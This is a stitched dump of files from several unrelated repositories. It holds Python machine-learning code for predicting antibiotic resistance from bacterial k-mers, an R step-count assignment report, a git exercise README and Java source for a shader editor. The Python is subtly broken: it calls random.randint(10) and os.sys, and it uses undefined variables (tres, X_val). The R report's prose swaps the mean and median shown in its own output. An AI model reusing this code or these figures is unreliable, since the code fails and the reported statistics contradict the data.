susceptible=parsed_hmmscan.loc[parsed_hmmscan['id']==wrongplf]
for index, row in susceptible.iterrows():
CDS=row['query_id']
group=grouped.get_group(CDS)
if group.iloc[0,3]==wrongplf:
dic_wrong_noratio[wrongplf] = [-np.log10(group.iloc[0, 2])]
try:
dic_wrong[wrongplf]=[-np.log10(group.iloc[0,2]), -np.log10(group.iloc[0,2])+np.log10(group.iloc[1,2])]
except:
a=0
dfwrong=pd.DataFrame.from_dict(dic_wrong, orient='index')
dfwrongreplaced=dfwrong.replace([np.inf, -np.inf], np.nan)
dfwrongreplaced.dropna(inplace=True)
fasta=SeqIO.parse('/home/ylucas/287.999.fna','fasta')
ls_contigs=[]
for record in fasta:
ls_contigs.append(record)
```
create_trainset.py
```import os
import random
def unique_listdir_PATRIC(filelist):
"""
Utility function to get the list of unique strainnames because each strain has 2 files (assembled genome+annotation file)
Args:
filelist: list of "doubled" files
Returns: list of unique strainnames
"""
ls_unique = []
for thing in filelist:
ls_unique.append('.'.join(thing.split('.')[:2]))
return list(set(ls_unique))
datadir='/scratch/MAGITICS_data/Streptococcus_pneumoniae/chloramphenicol/Resistant/'
ls_file=os.listdir()
ls_unique=unique_listdir_PATRIC(ls_file)
for thing in ls_unique:
r=random.randint(10)
if r>=7:
cmd1='mv %s.fna test/Resistant' %(thing)
cmd2='mv %s.PATRIC.features.tab test/Resistant' %(thing)
os.sys(cmd1)
os.sys(cmd2)
```
utils.py
```import os
import shutil
import config as cfg
def changefna2fa(dirname):
"""
change extension of fasta from .fna to .fa (dsk only works with .fa files)
:param dirname: name of directory in which filenames are changed
"""
#for dirname in os.listdir(os.path.join(cfg.pathtodata, cfg.data)):
for filename in os.listdir(dirname): #os.path.join(cfg.pathtodata, cfg.data + dirname)):
print(filename[-4:])
if filename[-4:] == ".fna":
os.rename(os.path.join( dirname, filename),
os.path.join(dirname, filename[:-4] + ".fa"))
elif filename[-4:] == ".tab":
os.remove(os.path.join(dirname, filename))
def label_in_name(dirnamein, dirnameout):
"""
rename file adding the class of the strain (resistant/susceptible) in the filename
:param dirnamein: directory where the file are stored (resistant/susceptible, following PATRIC directory architecture)
:param dirnameout: directory where the renamed file are moved
"""
for file in os.listdir(dirnamein):
shutil.move(
os.path.join(dirnamein, file),
os.path.join(dirnameout, dirnamein.split("/")[-1] + file))
def create_dir():
if not os.path.exists(os.path.join(cfg.pathtoxp, cfg.xp_name, "kmers")):
mkdirCmd1 = "mkdir %s" % (os.path.join(cfg.pathtoxp, cfg.xp_name, "kmers"))
os.system(mkdirCmd1)
# mkdirCmd2 = "mkdir %s" % (os.path.join(cfg.pathtoxp, cfg.xp_name, 'kmers', 'output'))
# os.system(mkdirCmd2)
# mkdirCmd3 = "mkdir %s" % (os.path.join(cfg.pathtoxp, cfg.xp_name, 'kmers', 'temp'))
# os.system(mkdirCmd3)
mkdirCmd3 = "mkdir %s" % (os.path.join(cfg.pathtoxp, cfg.xp_name, "temp"))
os.system(mkdirCmd3)
def write_kover_metadata_files():
"""
write metadata used when running Kover framework (from an other project), not useful per se in this framework
"""
genomedata = open(os.path.join(cfg.pathtoxp, "GenomeData.txt"), "w")
metadata = open(os.path.join(cfg.pathtoxp, "metadata.txt"), "w")
for dirname in os.listdir(os.path.join(cfg.pathtodata, cfg.data)):
for filename in os.listdir(os.path.join(cfg.pathtodata, cfg.data + dirname)):
if dirname=='Resistant':
genomedata.write(filename[:-3]+'\t'+str(os.path.join(cfg.pathtodata, cfg.data+dirname, filename))+'\n')
metadata.write(filename[:-3]+'\t'+'1\n')
elif dirname=='Susceptible':
genomedata.write(filename[:-3]+'\t'+str(os.path.join(cfg.pathtodata, cfg.data+dirname, filename))+'\n')
metadata.write(filename[:-3]+'\t'+'0\n')
#changefna2fa()
#create_dir()
#write_kover_metadata_files()
```
learning.py
```import os
import pickle
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import scipy.sparse as sp
import seaborn as sns
from sklearn import (ensemble, tree, feature_selection, metrics, model_selection, preprocessing)
import config as cfg
class Train_kmer_clf(object):
"""
Train in batch version and optionnally test in batch settings
Also optimize the treshold for computing accuracies
"""
def __init__(self):
if cfg.model == "rf":
self.clf = ensemble.RandomForestClassifier()
self.param_grid = cfg.rf_grid
elif cfg.model == "gradient":
#self.clf = ensemble.GradientBoostingClassifier(max_depth=4, max_features=None)
self.clf = ensemble.GradientBoostingRegressor(max_features=None)
self.param_grid = cfg.gradient_grid
elif cfg.model == 'Ada':
self.clf = ensemble.AdaBoostClassifier()
self.param_grid = cfg.ada_grid
if cfg.dtype == 'sparse':
with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, "kmers_mats.pkl"), "rb") as f:
[self.mat, self.labels, self.strain_to_index, self.kmer_to_index] = pickle.load(f)
print(self.labels)
self.testratio = 0.0
elif cfg.dtype == 'df':
with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, "kmers_DF.pkl"), "rb") as f:
[self.mat, self.labels] = pickle.load(f)
self.kmer_to_index = self.mat.columns
self.testratio = 0.3
def preprocess_y(self):
"""
Transform y into a binary vector
"""
# to_drop = ["label", "strain"]
# X = self.mat.drop(to_drop, axis=1)
# self.columns = X.columns
if cfg.MIC==False:
le = preprocessing.LabelEncoder()
self.y = le.fit_transform(self.labels)
else:
print(self.labels)
self.y=self.labels
def split_train_test(self):
"""
Split the data matrix and target vector into train and test matrices and vector
Returns:
X_train, X_test, y_train, y_test
"""
if self.testratio > 0:
X_train, X_test, y_train, y_test = model_selection.train_test_split(self.mat, self.y, test_size=self.testratio)
else:
X_train = self.mat
y_train = self.y
X_test = None
y_test = None
print(y_train)
del self.mat, self.y
return X_train, X_test, y_train, y_test
def chi2_feature_selection(self, X_train, X_test, y_train):
"""
Refactor X_train and X_test only keeping features that are correlated with the target y_train
Args:
X_train: train numpy array
X_test: test numpy array
y_train: train target variable vector
Returns:
refined X_train and X_test
"""
chi2_selector = feature_selection.SelectKBest(feature_selection.chi2, k=1000000)
X_train = chi2_selector.fit_transform(X_train, y_train)
X_test = chi2_selector.transform(X_test)
return X_train, X_test
def fit(self, X_train, y_train):
"""
Fit the chosen classifier using gridsearch cross validation
Args:
X_train: input data matrix
y_train: ground truth vector
Returns:
"""
self.cv_clf = model_selection.GridSearchCV(estimator=self.clf, param_grid=self.param_grid, cv=2,
scoring="neg_mean_squared_error", n_jobs=1)
self.cv_clf.fit(X_train, y_train)
self.y_pred = self.cv_clf.predict(X_train)
with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f'{cfg.model}_CVresults.pkl'), 'wb') as f:
pickle.dump({"classifier": self.cv_clf, "features": self.kmer_to_index}, f, protocol=4)
def predict(self, X_test):
"""
Batch predict of X_test labels
Args:
X_test: input data matrix
Returns:
y_predict: prediction vector
"""
y_predict = self.cv_clf.predict(X_test)
return y_predict
def get_accuracy_treshold(self, X_train, y_train):
"""
Calculate the treshold to obtain the best accuracy on the train set
Args:
X_train: input data matrix
y_train: ground truth vector
Returns:
treshold value
"""
train_predict = self.cv_clf.best_estimator_.predict_proba(X_train)[:, -1]
accuracies = []
nsteps = 100
for i in range(nsteps):
tres = i / nsteps
tresd_predict = []
for pred in train_predict:
if pred > tres:
tresd_predict.append(1)
else:
tresd_predict.append(0)
accuracies.append(metrics.accuracy_score(y_train, tresd_predict))
ind = accuracies.index(max(accuracies))
treshold = float(ind) / float(nsteps)
with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_tres_value.txt"), "w") as f:
f.write(str(treshold))
return treshold
def adapted_accuracy(self, y_test, y_pred, treshold):
"""
Predict accuracy with respect to a calculated treshold (inherited from Test_streaming class)
Args:
y_test: ground truth vector
y_pred: prediction vector
treshold
Returns:
adapted accuracy score
"""
return Test_streaming.adapted_accuracy(self, y_test, y_pred, treshold)
def evaluate_and_write_report(self, y_pred, y_test, treshold):
"""
Predict scores and write report
Args:
y_test: ground truth vector
y_pred: prediction vector
treshold
"""
Test_streaming.evaluate_and_write_report(self, y_pred, y_test, treshold)
def plot_CV_heatmap(self):
"""
Plot gridsearchCV heatmap
"""
ls_params = list(self.param_grid.keys())
self.pvt = pd.pivot_table(pd.DataFrame(self.cv_clf.cv_results_), values="mean_test_score",
index="param_" + ls_params[0], columns="param_" + ls_params[1])
ax = sns.heatmap(self.pvt)
ax.set(ylabel=ls_params[0], xlabel=ls_params[1])
ax.figure.savefig(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_gridCV_heatmap.png"))
def plot_boosting_learning_curve(self, X_test, y_test):
"""
Plot boosting learning curve (test/train deviance = f (n_estimator) )
Args:
X_test: input data matrix
y_test: ground truth vector
"""
if cfg.model == "gradient":
test_score = np.zeros((self.cv_clf.best_params_["n_estimators"],), dtype=np.float64)
for i, y_pred in enumerate(self.cv_clf.best_estimator_.staged_predict(X_test)):
test_score[i] = self.cv_clf.best_estimator_.loss_(y_test, y_pred)
sns.set()
fig = plt.figure(figsize=(6, 6))
plt.subplot(1, 1, 1)
plt.title(cfg.xp_name + " // ROC AUC = " + str(self.score))
plt.plot(np.arange(self.cv_clf.best_params_["n_estimators"]) + 1, self.cv_clf.best_estimator_.train_score_,
"b-", label="Training Set Deviance")
plt.plot(np.arange(self.cv_clf.best_params_["n_estimators"]) + 1, test_score, "r-",
label="Test Set Deviance")
plt.legend(loc="upper right")
plt.xlabel("Boosting Iterations")
plt.ylabel("Deviance")
fig.tight_layout()
plt.savefig(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}boosting_learning_curve.png"))
def run(self):
"""
Run method to wrap the class methods, train and optionnaly test the model in batch settings
"""
self.preprocess_y()
X_train, X_test, y_train, y_test = self.split_train_test()
# X_train, X_test = self.chi2_feature_selection(X_train, X_test, y_train)
self.fit(X_train, y_train)
#tres = self.get_accuracy_treshold(X_train, y_train)
if cfg.dtype == 'df':
y_predict = self.predict(X_test)
self.evaluate_and_write_report(y_predict, y_test, tres)
self.plot_CV_heatmap()
self.plot_boosting_learning_curve(X_test, y_test)
with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_CVresults.pkl"), "wb") as f:
pickle.dump(
{"classifier": self.cv_clf, "features": self.kmer_to_index, "y_pred": y_predict, "y_true": y_test},
f,
protocol=4)
class NN_model(object):
"""
Work in progress: neural network for end classification, because it's nice, and also in order to wrap different input datas
of different sources in an architecture.
"""
def __init__(self):
return
def create_model(self, X_train):
import tensorflow as tf
# Complete version
model = tf.keras.Sequential([
tf.keras.layers.InputLayer(input_shape=(X_train.shape[1],)), # Input Layer
tf.keras.layers.Dense(64, activation='relu'), # Hidden Layer
tf.keras.layers.Dense(1)]) # Output
# Optional (easy)
# Here the InputLayer will be generated automatically
# model = tf.keras.Sequential([
# tf.keras.layers.Dense(64, activation='relu', input_shape=(X_train.shape[1],)), # Hidden Layer
# tf.keras.layers.Dense(1)]) # Output
# Compiling our model
model.compile(loss='mse',
optimizer=tf.keras.optimizers.RMSprop(),
metrics=['mae'])
# Summary
model.summary()
return model
def fit(self, model, X_train, y_train):
model.fit(X_train, y_train, epochs=110, verbose=2)
loss, mae = model.evaluate(X_val, y_val, verbose=2)
y_pred = model.predict(X_test).flatten() #what is flatten
return model
class Test_streaming(object):
"""
Test in stream settings
Also optionally prune the classifier discarding trees that use
"""
def __init__(self, kmer_to_index=None, clf=None, batchsize=10):
self.batchsize = 1
self.testdir = os.path.join(cfg.pathtodata, cfg.testdir)
self.kmer_to_index = kmer_to_index
try:
self.clf = clf.best_estimator_
except Exception as e:
print(e)
self.clf = clf
self.pathtotemp = os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, "test-temp")
self.pathtosave = os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, "test-output")
if not (os.path.isdir(self.pathtotemp) and os.path.isdir(self.pathtosave)):
mkdirCmd = "mkdir %s" % (self.pathtotemp)
os.system(mkdirCmd)
mkdirCmd = "mkdir %s" % (self.pathtosave)
os.system(mkdirCmd)
def create_sparse_coos(self, cols, rows, datas, col, row, data):
"""
Extend existing list of coordinates with new coordinates corresponding to the kmers counts of the current file
"""
cols.extend(col)
rows.extend(row)
datas.extend(data)
return cols, rows, datas
def prune_boosting(self):
"""
Prune boosting according to the kmer redundancy:
if two very redundant kmers are used for the prediction:
prune one of the two trees of depth=1 with the least importance
"""
import difflib
# Select index of redundant kmers with lower importances
ls_index = []
featimp = self.clf.feature_importances_
kmers = [list(self.kmer_to_index.keys())[i] for i in np.nonzero(featimp)[0]]
imps = [featimp[i] for i in np.nonzero(featimp)[0]]
index = [i for i in np.nonzero(featimp)[0]]
for kmer1, imp1, ind1 in zip(kmers, imps, index):
for kmer2, imp2, ind2 in zip(kmers, imps, index):
similarity = difflib.SequenceMatcher(None, kmer1, kmer2).ratio()
if similarity > cfg.pruning_tresh and kmer1 != kmer2:
if imp1 > imp2:
ls_index.append(ind2)
elif imp2 > imp1:
ls_index.append(ind1)
return list(set(ls_index)) # list of redundant kmer indexes
def predict_pruned(self, X_test, ls_index):
"""
Predict using only trees retained by the method prune boosting
Args:
X_test: input data matrix
ls_index: list of trees index to use for pruned prediction
Returns:
prediction vector
"""
cumpred = np.array([x for x in self.clf.staged_decision_function(X_test)])[:, :, 0]
preds_out = cumpred[-1, :]
for i in ls_index: # i can't be 0 but who would prune first tree of boosting
preds_out = preds_out - (cumpred[i - 1, :] - cumpred[i, :])
return preds_out
def populate_sparse_matrix(self, cols, rows, datas, batchsize=1):
"""
Create a sparse matrix using coordinate vectors
Args:
cols: coordinate vector
rows: coordinate vector
datas: data vector
batchsize
"""
X_test = sp.csr_matrix((datas, (rows, cols)), shape=(batchsize, len(self.kmer_to_index)), dtype=np.int16)
return X_test
def append_prediction(self, X_test, y_preds, y_pruned, y_test, ls_index, y):
"""
Predict and append predictions to prediction vectors
Args:
X_test: input data matrix
y_preds: prediction list
y_pruned: pruned prediction list
y_test: ground truth list
ls_index: list of trees index to use for pruned prediction
y: labels of the current batch
Returns:
y_preds, y_pruned, y_test
"""
y_preds.extend(self.clf.predict(X_test))
# y_pruned.extend(self.predict_pruned(X_test, ls_index))
y_test.append(y)
return y_preds, y_pruned, y_test
def parse_and_map_kmers(self, fastaname, batchnumber):
"""
Parse kmers_count using dsk and "get_kmer_counts" method
and map them to the correct coordinates using the "map_data_to_coords" method
Args:
fastaname: path to the fasta file
batchnumber: iteration counter of the current batch
Returns:
coordinates lists, label
"""
self.parse_kmers_dsk(fastaname)
#y = fastaname[:5]
y = self.get_label_from_csv_metadata(fastaname[:-3])
print(y)
kmer_count = self.get_kmer_counts(fastaname)
col, row, data = self.map_data_to_coords(kmer_count, batchnumber)
return col, row, data, y
def get_label_from_csv_metadata(self, strain):
"""
Get label from csv metadata
TODO: pass parameters for col, metadata_path
Args:
strain: strainID
Returns:
label
"""
# df = pd.read_excel('/home/ylucas/Bureau/SP_strains_metadata.xlsx')
df = pd.read_excel('/scratch/MAGITICS_data/Streptococcus_pneumoniae/SP_strains_metadata.xlsx')
row=np.where(df.values==strain)[0]
return df['Penicillin'].values[row]
def get_kmer_counts(self, kmercountfile):
"""
Parse kmer_counts from the kmercountfile generated using dsk
Args:
kmercountfile: pathtokmercountfile
Returns:
kmer_count dict: {kmer1:count, kmer2: count, ...}
"""
kmer_count = {}
with open(os.path.join(self.pathtosave, kmercountfile), "r") as fasta:
lines = fasta.readlines()
for line in lines:
try:
[ID, count] = line.split(" ")
kmer_count[str(ID)] = int(count)
except:
print('line = {0}'.format(line))
return kmer_count
def map_data_to_coords(self, kmer_count, batchnumber):
"""
Iterate over kmer_count dict to fill coordinates vector
Args:
kmer_count: dict {kmer1:count, kmer2: count, ...}
batchnumber: iteration counter of the current batch
Returns:
coordinate lists
"""
row = []
data = []
column = []
for kmer in kmer_count:
try:
column.append(self.kmer_to_index[kmer])
row.append(batchnumber)
if cfg.kmer_count == 1:
data.append(kmer_count[kmer])
else:
data.append(1)
except:
self.missing_kmers.append(kmer)
return column, row, data
def parse_kmers_dsk(self, fastaname):
"""
Create a kmercount file using the command line software dsk
Args:
fastaname: path to the fasta file
"""
kmerCmd = "dsk -file %s -out %s -kmer-size %d -abundance-min 1 -verbose 0" % (
os.path.join(self.testdir, fastaname), os.path.join(self.pathtotemp, fastaname), cfg.len_kmers)
os.system(kmerCmd)
outputCmd = "dsk2ascii -file %s -out %s" % (
os.path.join(self.pathtotemp, fastaname), os.path.join(self.pathtosave, fastaname))
os.system(outputCmd)
def adapted_accuracy(self, y_test, y_preds, tres):
"""
Predict accuracy score with respect to a pre-calculated treshold
Args:
y_test: ground truth vector
y_preds: prediction vector
tres: treshold
Returns:
adapted accuracy score
"""
y_preds_adapted = []
for pred in y_preds[:, -1]:
if pred > float(tres):
y_preds_adapted.append(1.0)
else:
y_preds_adapted.append(0.0)
score = metrics.accuracy_score(y_test, y_preds_adapted)
print(score)
return score
def evaluate_and_write_report(self, y_preds, y_test, tres=None, pruned=False):
"""
Compute several evaluation metrics and save them in a score dictionary,
then write report containing prediction parameters and scores.
Args:
y_preds: prediction vector
y_test: ground truth vector
tres: adated accuracy treshold
pruned: indicator if we are in a pruned setting or not
"""
score = {}
#print(y_test)
#print(y_preds)
for ytest, ypred in zip(y_test, y_preds):
print(str(ytest[0])+'\t'+str(ypred))
#score["ROC_AUC"] = metrics.roc_auc_score(y_test, y_preds[:, -1])
#if tres==None:
# with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_tres_value.txt"), "r") as f:
# tres = f.readlines()[0]
#score["Accuracy"] = self.adapted_accuracy(y_test, y_preds, tres)
#score["Accuracy"] = metrics.accuracy_score(y_test, y_preds[:, -1].round())
score["MAE"] = metrics.mean_absolute_error(y_test, y_preds[:, -1])
score["MSE"] = metrics.mean_squared_error(y_test, y_preds[:, -1])
#score["MAPE"] = metrics.mean_absolute_percentage_error(y_test, y_preds[:,-1])
#print("*** ROC AUC = ***")
#print(score["ROC_AUC"])
self.write_report(pruned, score)
return score
def write_report(self,score, pruned=False):
"""
Write report containing prediction parameters and scores
Args:
score: dict containing evaluation metrics values
pruned: indicator if we are in a pruned setting or not
"""
with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_report.txt"), "a") as txt:
if pruned:
txt.write('PRUNED' + "\n\n")
txt.write(cfg.xp_name + "/" + cfg.id + "\n\n")
txt.write(str(score) + "\n")
txt.write("Len_kmers = " + str(cfg.len_kmers) + "\n")
txt.write("Model = " + str(self.clf) + "\n")
# txt.write("Best_params = "+str(self.clf.best_params_)+"\n")
# txt.write("Param_grid = " + str(self.param_grid) + "\n")
# txt.write("best params = " + str(self.clf.best_params_)+'\n')
txt.write("\n Relevant kmers : \n")
if cfg.model == "rf" or cfg.model == "gradient":
featimp = self.clf.feature_importances_
kmers = [list(self.kmer_to_index.keys())[i] for i in np.nonzero(featimp)[0]]
for kmer in kmers:
txt.write(str(kmer) + "\n")
def clean_temp_directories(self):
"""
Delete the intermediate file that were created during the command line call of the kmer-parser
"""
cleankmertempcmd = "rm -rf %s" % (self.pathtotemp)
os.system(cleankmertempcmd)
cleantempcmd = "rm -rf %s" % (self.pathtosave)
os.system(cleantempcmd)
def run(self):
"""
Run method to wrap the class methods and test in stream settings
"""
self.missing_kmers = []
files = [file for file in os.listdir(self.testdir)]
remaining = len(files)
fileindex = 0
y_test = []
y_preds = []
y_pruned = []
ls_index = self.prune_boosting()
while remaining > 0:
batchiter = 0
batch = min(remaining, self.batchsize)
for file in files[fileindex: fileindex + batch]:
cols = []
rows = []
datas = []
col, row, data, y = self.parse_and_map_kmers(file, batchiter)
cols, rows, datas = self.create_sparse_coos(cols, rows, datas, col, row, data)
#y = file[:5]
batchiter += 1
remaining -= 1
X_test = self.populate_sparse_matrix(cols, rows, datas, batchiter)
try:
y_preds, y_pruned, y_test = self.append_prediction(X_test, y_preds, y_pruned, y_test, ls_index, y)
except Exception as e:
print('exception')
print(e)
fileindex += batch
y_preds = np.vstack(y_preds)
#le = preprocessing.LabelEncoder()
#y_test = le.fit_transform(y_test)
score=self.evaluate_and_write_report(y_preds, y_test)
print(ls_index)
with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f"{cfg.model}_CVresults.pkl"), "wb") as f:
pickle.dump({"classifier": self.clf, "features": self.kmer_to_index, "y_pred": y_preds, "y_pruned": y_pruned,
"y_true": y_test, "score": score}, f, protocol=4)
self.clean_temp_directories()
# train=Train_kmer_clf()
# train.run()
#
#
# #with open(os.path.join(cfg.pathtoxp, cfg.xp_name, cfg.id, f'{cfg.model}_CVresults.pkl'), 'rb') as f:
# # dic=pickle.load(f)
# #test=Test_streaming(batchsize=1, kmer_to_index=dic['features'], clf=dic['classifier'])
# test = Test_streaming(batchsize=1, kmer_to_index=train.kmer_to_index, clf=train.cv_clf)
# test.run()
```
|
yvanstpierre/RepData_PeerAssessment1
|
yvanstpierre/RepData_PeerAssessment1
PA1_template.md
```Reproducible Research: Peer Assessment 1
========================================================
## Loading and preprocessing the data
In this first step, the zipped csv file included in the current repository
(*"activity.csv"*) is loaded, and the date field is formatted for later use of
*weekdays()* function. Options are also set for numerical outputs in the text,
i.e. means and medians, to appear in fixed rather than scientific format.
```r
options(scipen = 1)
pa1data <- read.csv(unz("activity.zip", "activity.csv"),
colClasses = c("numeric", "Date", "integer"))
```
## What is mean total number of steps taken per day?
For this part of the project, the totals per day are computed using the
*tapply* command, and stored in a vector named *pa1perday*. A histogram is then
produced, with frequencies on the y axis, i.e. number of days, by total number
of steps per day on the x axis.
```r
pa1perday <- with(pa1data, tapply(steps, date, sum))
hist(pa1perday, main = "Histogram of total steps per day",
xlab = "Total steps per day", ylab = "Number of days")
```

Next, the summary function is called to compute the mean and median values,
which are then reported both as output of the code chunk and as inline text
computations in the following lines of text.
```r
pa1sum <- summary(pa1perday)
pa1sum[c(3,4)]
```
```
## Median Mean
## 10760 10770
```
The mean total number of steps taken per day is 10760 and the median
total number is 10770.
## What is the average daily activity pattern?
This time, the average number of steps per 5-minute interval is computed with
the function *aggregate()*, producing the data frame called *pa1perint*. Missing
values are excluded from the calculations. Then, a time series plot is created
for average steps on the y axis per 5-minute intervals on the x axis.
```r
pa1perint <- aggregate(steps ~ interval, pa1data, mean, na.rm = TRUE)
plot(pa1perint$interval, pa1perint$steps, type="l",
main = "Time-series plot of average steps per 5-minute interval",
xlab = "5-minute intervals", ylab = "Average number of steps")
```

And now, the 5-minute interval where the maximum average number of steps were
taken is identified, again both as R code output and inline in the text.
```r
maxint <- pa1perint$interval[which.max(pa1perint$steps)]
maxint
```
```
## [1] 835
```
The 5-minute interval where the maximum number of steps was taken on average
was the interval 835.
## Imputing missing values
Here we start by finding the number of rows of data with missing values in the
original data. It is again reported both as R output and inline as text.
```r
nasum <- sum(is.na(pa1data$steps))
nasum
```
```
## [1] 2304
```
The number of rows with missing value in the original data is 2304.
Next, we impute the average steps per 5-minute interval for each missing value.
This is done by merging the averages stored in the data frame created for the
previous section with the original data, on the 5-minute intervals, and then
replacing the missing values with the corresponding average. Note that the
column name for average steps is changed, to keep the resulting names as in the
original data, and the added column is dropped once the missing values are
replaced, so that the new dataset is equal to the original, except for the
missing values replaced.
```r
colnames(pa1perint)[2] <- "meansteps"
pa1impd <- merge(pa1data, pa1perint, by = "interval")
pa1impd$steps[is.na(pa1impd$steps)] <- pa1impd$meansteps[is.na(pa1impd$steps)]
pa1impd <- pa1impd[, 1:4]
```
With this new data, we replicate the work done in the first section, to produce
the corresponding histogram, and calculate and report the mean and median total
number of steps taken in each day (in R output and inline).
```r
pa1impday <- with(pa1impd, tapply(steps, date, sum))
hist(pa1impday, main = "Histogram of total steps per day",
xlab = "Total steps per day", ylab = "Number of days")
```

```r
pa1impsum <- summary(pa1impday)
pa1impsum[c(3,4)]
```
```
## Median Mean
## 10770 10770
```
The mean total number of steps taken per day is 10770 and the median
total number is 10770.
As we can see, the middle bin of the histogram now includes the days where the
missing values were replaced with the averages across all days. As is to be
expected, the mean total number of steps remains the same, since missing values
were replaced for entire days with the average data, and the median moved to
be equal to the mean, as the median observation is now one of the days where
missing values were replaced by the average values.
## Are there differences in activity patterns between weekdays and weekends?
For this last section of the assessment, we first create a new factor variable,
called *daytype*, and compute averages of steps take per *interval* and *daytype*
to produce the data frame *pa1impint*. This is then used to create a 2-panel
time series plot, using the lattice package. Note that a warning message is
issued when the package is loaded.
```r
pa1impd$daytype <- as.factor(ifelse(weekdays(pa1impd$date) %in%
c("Saturday","Sunday"), "weekend", "weekday"))
pa1impint <- aggregate(steps ~ interval + daytype, pa1impd, mean)
library(lattice)
xyplot(steps ~ interval | daytype, pa1impint, type = "l", layout = c(1,2),
xlab = "Interval", ylab = "Number of steps")
```

```
|
yvesen/git-exercise
|
yvesen/git-exercise
README.md
```# README
git clone https://github.com/yvesen/git-exercise.git
cd git-exercise
bundel install
rails db:migrate
rails db:seed
```
|
yveskaufmann/shader-sloth
|
yveskaufmann/shader-sloth
ShaderTemplateHelper.java
```package eu.yvka.shadersloth.app.materialEditor.shaders;
import eu.yvka.shadersloth.share.I18N.I18N;
import eu.yvka.slothengine.shader.Shader;
import eu.yvka.slothengine.shader.ShaderManager;
import eu.yvka.slothengine.shader.ShaderType;
import eu.yvka.slothengine.shader.source.FileShaderSource;
import eu.yvka.slothengine.shader.source.ShaderSource;
import eu.yvka.slothengine.engine.Engine;
import javafx.scene.control.Alert;
import javafx.scene.control.ButtonType;
import org.apache.commons.io.IOUtils;
import java.io.*;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.attribute.FileAttribute;
import java.util.Optional;
import static eu.yvka.shadersloth.share.I18N.I18N.getString;
import static java.nio.file.StandardCopyOption.*;
/**
* Allows it to create template shader files,
* which are will be used when a new material is generated.
*
* @author Yves Kaufmann
* @since 26.07.2016
*/
public class ShaderTemplateHelper {
public static Shader createShader(File baseFolder, String name) {
return createShader(baseFolder, name, false);
}
public static Shader createShader(File baseFolder, String name, boolean alwaysOverwrite) {
final ShaderManager shaderManager = Engine.shaderManager();
final File vertexShaderFile = new File(baseFolder, shaderManager.toShaderFileName(name, ShaderType.VERTEX));
final File fragmentShaderSource = new File(baseFolder, shaderManager.toShaderFileName(name, ShaderType.FRAGMENT));
// Ensure shader only will be overwritten if the user confirms this action
if ((vertexShaderFile.exists() || fragmentShaderSource.exists()) && !alwaysOverwrite) {
Alert alert = new Alert(Alert.AlertType.CONFIRMATION);
alert.setHeaderText(getString("material.overwrite.dlg.title", name));
alert.setContentText(getString("material.overwrite.dlg.content", name));
Optional<ButtonType> buttonTypeOptional = alert.showAndWait();
if (!buttonTypeOptional.isPresent() || !buttonTypeOptional.get().equals(ButtonType.YES)) {
return null;
}
}
final Shader template = shaderManager.getShader("Default");
try {
File defaultVertexShaderFile = shaderManager.toShaderFile(new File(ShaderManager.ASSET_PATH), "Default", ShaderType.VERTEX);
File defaultFragmentShaderFile = shaderManager.toShaderFile(new File(ShaderManager.ASSET_PATH), "Default", ShaderType.FRAGMENT);
vertexShaderFile.getParentFile().mkdirs();
fragmentShaderSource.getParentFile().mkdirs();
Files.copy(defaultVertexShaderFile.toPath(), vertexShaderFile.toPath(), REPLACE_EXISTING);
Files.copy(defaultFragmentShaderFile.toPath(), fragmentShaderSource.toPath(), REPLACE_EXISTING);
} catch (IOException e) {
e.printStackTrace();
}
final ShaderSource vertexSource = new FileShaderSource(ShaderType.VERTEX, vertexShaderFile);
final ShaderSource fragmentSource = new FileShaderSource(ShaderType.FRAGMENT, fragmentShaderSource);
final Shader shader = new Shader(name);
shader.addSource(vertexSource);
shader.addSource(fragmentSource);
return shader;
}
}
```
README.md
```[](https://travis-ci.org/yveskaufmann/shader-sloth)
# ShaderSloth
ShaderSloth allows it to create and play with [GLSL](https://www.opengl.org/documentation/glsl/) shaders without programming
any line of OpenGL code. It is the result of a assignment for the university.

These features are currently provided:
* [x] scene creation
* [x] simple shader/material editor
* [x] shader render-view with instant feedback
* [ ] texture support (already supported in the engine)
* [ ] multiple pass rendering (already supported in the engine)
* [ ] glsl autocomplete
Requirements
------------
- [JDK](http://www.oracle.com/technetwork/java/javase/downloads/index.html) >= 8u91
- [Apache Maven](https://maven.apache.org/) >= 3.0
- A GPU which supports at least OpenGL 3.x
Building
--------
In order to build ShaderSloth it is required that [Apache Maven > 3.0](https://maven.apache.org/) and
a [JDK >= 8u91](http://www.oracle.com/technetwork/java/javase/downloads/index.html) is already installed
on your computer. TPlease consults the corresponding documentation for the specific installation instructions.
## Build Steps
### 1) Check-Out Sloth-Engine
```bash
cd shader-sloth
git clone https://github.com/yveskaufmann/sloth-engine
```
### 2) Build Sloth-Engine
```bash
cd sloth-engine
git checkout develop
mvn install
```
### 3) Build Shader-Sloth
```bash
cd shader-sloth
mvn package -DskipTests
```
```
StringConverters.java
```package eu.yvka.shadersloth.app.model;
import javafx.util.StringConverter;
/**
* @Author Yves Kaufmann
* @since 11.07.2016
*/
public class StringConverters {
public static <T> StringConverter<T> forTXSemanticTag() {
return new StringConverter<T>() {
@Override
public String toString(T tag) {
return tag == null ? "" : tag.toString();
}
@Override
public T fromString(String string) {
throw new UnsupportedOperationException("not yet implemented");
}
};
};
}
```
ViewContext.java
```package eu.yvka.shadersloth.share.context;
import eu.yvka.shadersloth.share.controller.AbstractController;
import eu.yvka.shadersloth.share.controller.ControllerMeta;
import javafx.scene.Parent;
public class ViewContext<T extends AbstractController> extends AbstractContext {
/**
* Property for the associated controllers.
*/
public static final String PROPERTY_CONTROLLER = "controllers";
private Parent rootNode;
private T controller;
private ControllerMeta meta;
public ViewContext(T controller, Parent rootNode, ControllerMeta meta) {
